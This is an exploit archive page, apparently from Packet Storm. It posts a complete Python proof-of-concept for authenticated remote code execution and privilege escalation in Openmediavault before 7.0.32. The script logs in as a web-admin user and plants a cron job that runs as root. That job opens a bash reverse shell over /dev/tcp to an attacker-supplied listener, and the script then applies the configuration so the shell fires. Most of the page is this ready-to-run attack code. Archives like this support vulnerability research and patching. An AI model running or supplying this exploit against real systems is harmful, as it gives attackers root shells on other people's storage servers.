exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Openmediavault Remote Code Execution / Local Privilege Escalation

Openmediavault Remote Code Execution / Local Privilege Escalation
Posted May 9, 2024
Authored by Mert BENADAM

Openmediavault versions prior to 7.0.32 have a vulnerability that occurs when users in the web-admin group enter commands on the crontab by selecting the root shell. As a result of exploiting the vulnerability, authenticated web-admin users can run commands with root privileges and receive reverse shell connections.

tags | exploit, web, shell, root
SHA-256 | f54e108c3e072e69c000f9759d386e86aae92493e17fbe4348a5bdd7b5278328

Openmediavault Remote Code Execution / Local Privilege Escalation

Change Mirror Download
# Exploit Title: Openmediavault < 7.0.32 Authenticated RCE & Local Privilege Escalation
# Date: 08.05.2024
# Exploit Author: Mert BENADAM
# Vendor Homepage: https://www.openmediavault.org/
# Software Link: https://sourceforge.net/projects/openmediavault/
# Version: < 7.0.32
# Tested on: OMV 7.0.32 & 6.5 @Virtual Machine
# Description: OpenMediaVault is the next generation network attached storage (NAS) solution based on Debian Linux.


# Special Thx: k3yZ :)
"""
PoC:
This vulnerability occurs when users in the web-admin group enter commands on the crontab by selecting the root shell.
As a result of exploiting the vulnerability,authenticated web-admin users can run commands with root privileges and receive reverse shell connections.
It can also be used in privilege escalation attacks on local systems.
"""

import argparse
import requests
import json

def login(ip_address, username, password, lhost, lport):
try:
login_data = {
"service": "Session",
"method": "login",
"params": {
"username": username,
"password": password
},
"options": None
}

url = f"http://{ip_address}/rpc.php"

response = requests.post(url, json=login_data)

if response.status_code == 200:
print("Login Success , Checking User Privilages...")
post_check(ip_address, response.cookies, lhost , lport)
else:
print("login Failed, Probably Wrong User Credentials...")

print("Reason:")
print(response.json())

except requests.exceptions.ConnectionError:
print("Connection Error: Could Not Connect To The Server...")
except Exception as e:
print("Unexpected Error:", e)

def post_check(ip_address, cookies, lhost, lport):
try:
post_data = {
"service": "Cron",
"method": "getList",
"params": {
"type": ["userdefined"],
"start": 0,
"limit": -1
},
"options": None
}

url = f"http://{ip_address}/rpc.php"
response = requests.post(url, json=post_data, cookies=cookies)



if response.status_code == 200:
print("Accesing Crons...OK")
send_post(ip_address, cookies, lhost , lport)


elif response.status_code == 403:
print("Kullanıcı yetkili değil.")
else:
print("Post Request Failure...")

except requests.exceptions.ConnectionError:
print("Connection Error: Could Not Connect To The Server...")
except Exception as e:
print("Beklenmeyen bir hata oluştu:", e)

def send_post(ip_address, cookies, lhost , lport):
try:


post_data = {
"service": "Cron",
"method": "set",
"params": {
"uuid": "fa4b1c66-ef79-11e5-87a0-0002b3a176b4", # UUID
"enable": True,
"execution": "exactly",
"minute": ["*"],
"everynminute": False,
"hour": ["*"],
"everynhour": False,
"dayofmonth": ["*"],
"everyndayofmonth": False,
"month": ["*"],
"dayofweek": ["*"],
"username": "root",
"command": f"bash -c 'exec bash -i &>/dev/tcp/{lhost}/{lport} <&1'", # Command From User
"sendemail": False,
"comment": "",
"type": "userdefined"
},
"options": None
}

url = f"http://{ip_address}/rpc.php"
response = requests.post(url, json=post_data, cookies=cookies)

if response.status_code == 200:
print("Payload Sent... OK,")
update(ip_address, cookies)
elif response.status_code == 403:
print("User Not Authrorized.")
else:
print("Something Wrong.CHECK your version...")


except requests.exceptions.ConnectionError:
print("Connection Error: Could Not Connect To The Server...")
except Exception as e:
print("Unexpected Error:", e)


def update(ip_address, cookies):
try:

post_data = {
"service": "Config",
"method": "applyChangesBg",
"params": {
"modules": [],
"force": False
},
"options": None
}


url = f"http://{ip_address}/rpc.php"

response = requests.post(url, json=post_data, cookies=cookies)

if response.status_code == 200:
print("Updating crontabs...")
print("Successfully Exploited...")
print("Exploited Shell Will Be Triggered In 1 Minute, Check Your Listener...")
print("Warning: Make sure You Open a listener And Enter Correct IP-PORT Information...")
elif response.status_code == 403:
print("User Not Authrorized.")
else:
print("Someting Wrong. Check version...")

except requests.exceptions.ConnectionError:
print("Connection Error: Could Not Connect To The Server...")
except Exception as e:
print("Unexpected Error:", e)


def main():
font="""

███╗ ██╗ ██████╗ ███╗ ███╗███████╗██████╗ ██████╗██╗ ██╗ ██████╗ ██████╗
████╗ ██║██╔═══██╗████╗ ████║██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔═████╗██╔═████╗
██╔██╗ ██║██║ ██║██╔████╔██║█████╗ ██████╔╝██║ ╚████╔╝ ██║██╔██║██║██╔██║
██║╚██╗██║██║ ██║██║╚██╔╝██║██╔══╝ ██╔══██╗██║ ╚██╔╝ ████╔╝██║████╔╝██║
██║ ╚████║╚██████╔╝██║ ╚═╝ ██║███████╗██║ ██║╚██████╗ ██║ ╚██████╔╝╚██████╔╝
╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═════╝

"""
parser = argparse.ArgumentParser(description="OpenMediaVault 7.0.32 > 6.5.0 RCE And Local Privilage Escalation")
parser.add_argument("-U", "--ip", type=str, help="Victim Ip Adress", required=False)
parser.add_argument("-u", "--username", type=str, help="Username For Web Admin", required=False)
parser.add_argument("-p", "--password", type=str, help="Password For Web Admin", required=False)
parser.add_argument("-L", "--lhost", type=str, help="Listener IP Adress For Reverse Shell", required=False)
parser.add_argument("-P", "--lport", type=str, help="Listener Port For Reverse Shell", required=False)

args = parser.parse_args()

if args.ip and args.username and args.password and args.lhost and args.lport:
print(font)
login(args.ip, args.username, args.password, args.lhost , args.lport)
else:
print(font)
parser.print_help()

if __name__ == "__main__":
main()


Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close